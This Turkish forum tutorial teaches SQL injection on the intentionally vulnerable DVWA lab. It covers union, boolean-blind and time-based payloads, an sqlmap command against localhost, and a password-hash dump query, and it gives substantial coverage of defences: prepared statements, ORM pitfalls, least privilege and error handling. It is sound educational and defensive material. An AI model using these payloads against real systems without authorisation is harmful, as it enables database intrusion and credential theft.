Konuyu Okuyanlar: 1 Ziyaretçi

SQL Injection Sıfırdan: DVWA ile Uygulamalı Rehber (Yasal Lab)

SQL Injection Sıfırdan: DVWA ile Uygulamalı Rehber (Yasal Lab)
[center]
[Resim: attachment.php?aid=134]
[/center]

Selam TurkTeam, BlueTornado ile devam.

SQL Injection (SQLi), uygulamanın SQL sorgusunu kullanıcı girdisiyle güvensiz biçimde birleştirmesi sonucu ortaya çıkan klasik bir enjeksiyon zafiyetidir. Bu rehberde sıfırdan teori, DVWA üzerinde Low/Medium/Impossible karşılaştırması, parametreli sorgular ve modern ORM hatalarını ele alıyoruz. Tüm örnekler yalnızca yerel lab içindir.

Konuda Anlatılacaklar
  1. SQL Injection nedir, hangi riskleri taşır?
  2. DVWA lab kurulumu
  3. Kavramlar: union, boolean, error-based, blind
  4. Low seviyede adım adım gözlem
  5. Medium filtre ve prepared statement'a geçiş
  6. Korunma: parametreli sorgu, ORM, least privilege
  7. İleri seviye: second-order, WAF yanılsaması
  8. Kaynakça ve yasal uyarı

1) SQL Injection Nedir?
Veritabanı, uygulamanın gönderdiği SQL metnini yorumlar. Saldırgan, girdi alanına SQL sözdizimi parçaları ekleyerek sorgunun mantığını değiştirebiliyorsa injection vardır.

Kod:
# Tehlikeli kalıp (kavramsal) id = request.GET["id"] sql = "SELECT first_name, last_name FROM users WHERE user_id = '" + id + "'" # id = 1' OR '1'='1 olduğunda mantık bozulur

Olası etkiler: kimlik doğrulamayı atlama, veri okuma/değiştirme, bazı DB/konfigürasyonlarda OS komutuna giden yollar (ör. xp_cmdshell gibi özellikler açıksa). Etki, DB kullanıcısının yetkisine ve uygulama mimarisine bağlıdır.

OWASP Top 10 2021'de Injection A03:2021 altındadır. CWE karşılığı başlıca CWE-89'dur.

2) Lab Kurulumu
Kod:
git clone https://github.com/digininja/DVWA.git cd DVWA docker compose up -d

Kurulum sonrası DVWA Security'yi Low yapın. SQL Injection ve SQL Injection (Blind) sayfalarını kullanacağız.

[center][/center]

İsteğe bağlı olarak kendi MySQL/MariaDB labınızda da aynı mantığı kurabilirsiniz; önemli olan üretim verisine dokunmamaktır.

3) Kavram Referansı

In-band (Union / Error): Sonuç veya hata mesajı aynı kanalda döner.

Kod:
# Union temelli keşif (yalnızca lab, sözdizimi DB'ye göre değişir) 1' UNION SELECT null, null-- 1' UNION SELECT user(), database()--

Boolean-based blind: Sayfa içeriği doğru/yanlış cevaba göre değişir; veri bit bit çıkarılır.

Kod:
1' AND 1=1-- 1' AND 1=2--

Time-based blind:
Kod:
SLEEP()
/
Kod:
WAITFOR DELAY
ile zaman farkından çıkarım (labda dikkat: kendini DoS etme).

Kod:
# MySQL lab örneği (kendi DVWA'nız) 1' AND SLEEP(3)--

Prepared statement / parametreli sorgu: SQL yapısı ile verinin ayrılması. Asıl savunma budur.

Kod:
# Python psycopg / MySQL connector tarzı cur.execute("SELECT * FROM users WHERE id = %s", (user_id,))

4) DVWA Low: Adım Adım

Adım 1 - Normal davranış:
Kod:
User ID: 1 # Beklenen: o kullanıcıya ait ad/soyad

Adım 2 - Mantığı bozma:
Kod:
1' OR '1'='1 # Low seviyede genellikle birden fazla satır döner

Çıktıyı yorumlayın: Uygulama girdi etrafına tırnak koyup birleştiriyorsa bu payload tüm satırları getirir. Bu, zafiyetin varlığını gösterir.

[center][/center]

Adım 3 - Sütun sayısını anlama (Union):
DVWA Low'da klasik union yolu kullanılır. Önce sütun sayısını bulun:

Kod:
1' ORDER BY 1-- 1' ORDER BY 2-- 1' ORDER BY 3-- # Hata aldığınız nokta sütun sayısını aştığınız yerdir

Kod:
1' UNION SELECT user, password FROM users-- # Labda hash'lerin görünmesi, üretimde felaket senaryosudur

Adım 4 - Hata mesajlarını okuma:
Verbose SQL hataları hem enjeksiyonu kolaylaştırır hem bilgi sızdırır. Production'da genel hata sayfası kullanın; detayı loglayın.

Kod:
# Kötü: ham SQL exception'ı kullanıcıya göstermek # İyi: "Bir hata oluştu" + sunucu tarafı log

5) Blind SQLi Sayfası
DVWA SQL Injection (Blind) sayfasında sonuç satırları doğrudan basılmayabilir; "User ID exists" benzeri mesajlar görürsünüz.

Kod:
1' AND '1'='1 1' AND '1'='2

Birinde "exists", diğerinde farklı mesaj varsa boolean blind mümkündür. Otomatik araçlar (sqlmap) bu farkları ölçer; yalnızca kendi labınızda ve yasal kapsamda kullanın.

Kod:
# sqlmap lab örneği (DVWA localhost, kendi ortamınız) sqlmap -u "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \ --cookie="security=low; PHPSESSID=..." \ --batch --technique=B

sqlmap çıktısını yorumlarken: DBMS tipi, baner, tablolar. Üretimde izinsiz sqlmap çalıştırmak hem etik dışıdır hem yasadışıdır.

[center][/center]

6) Medium ve Impossible: Ne Değişiyor?
Medium'da DVWA genelde POST + mysql_real_escape_string benzeri kaçış veya seçim kutusu kullanır. Escape, yanlış bağlamda (ör. sayısal alan, farklı karakter seti) yeterli olmayabilir; asıl çözüm prepared statement'tır.

Impossible seviyede parametreli sorgu görürsünüz. Kaynak kodu (DVWA PHP) inceleyerek farkı not edin:

Kod:
# Kavramsal güvenli PHP $stmt = $mysqli->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->bind_param("s", $id); $stmt->execute();

Kod:
# ORM örneği (Django) User.objects.filter(id=user_id) # Dikkat: raw() / extra() ile tekrar injection açabilirsiniz

7) Korunma Katmanları
  • Birincil: Parametreli sorgu / ORM güvenli API
  • Girdi doğrulama: Beklenen tip (int), uzunluk, allowlist
  • Least privilege: Uygulama DB kullanıcısına DROP/FILE vermeyin
  • Hata yönetimi: Detaylı SQL hatalarını gizleyin
  • WAF: Savunma derinliği; tek başına çözüm değil
  • Test: SAST, DAST, kod incelemesi, unit test ile raw SQL denetimi

Kod:
# Beklenen tip kontrolü if not user_id.isdigit(): abort(400)

Kod:
# PostgreSQL rol örneği (kavramsal) GRANT SELECT, INSERT, UPDATE ON app_schema.* TO app_user; -- FILE, SUPERUSER yok

[center][/center]

8) İleri Seviye
Second-order SQLi: Girdi önce güvenli saklanır, sonra başka bir sorguda güvensiz birleştirilir.

ORM / query builder tuzakları:
Kod:
# Tehlikeli: kullanıcı girdisini SQL parçası sanmak User.objects.raw("SELECT * FROM users WHERE name = '%s'" % name)

NoSQL injection: MongoDB'de operatör enjeksiyonu (
Kod:
$gt
vb.) ayrı bir ailedir; "SQL yoksa injection yok" yanılgısına düşmeyin.

Rapor şablonu:
Kod:
Bulgu: SQL Injection (CWE-89) Endpoint: GET /vulnerabilities/sqli?id= Kanıt: Labda OR '1'='1 ile çoklu satır Etki: users tablosu okuma (lab) Öneri: prepared statement + least privilege

9) Sonuç
SQLi, girdinin sorgu yapısına karışmasıdır. DVWA Low'da görün, Impossible'da doğru kodu okuyun, kendi projelerinizde raw string birleştirmeyi yasaklayın. Araçlar yardımcı olur; kök neden kod ve tasarımda kalır.

Kaynakça
Yasal Uyarı
SQL Injection testleri yalnızca kendi sistemlerinizde veya yazılı izinli lab/pentest kapsamında yapılmalıdır. İzinsiz veritabanı sorgulama ve araç kullanımı TCK 243, 244, 245 maddeleri kapsamında suç olabilir. Bu yazı eğitim amaçlıdır; sorumluluk uygulayana aittir.


Ek DosyalarEkran Görüntüleri
   
Cevapla



Hızlı Menü: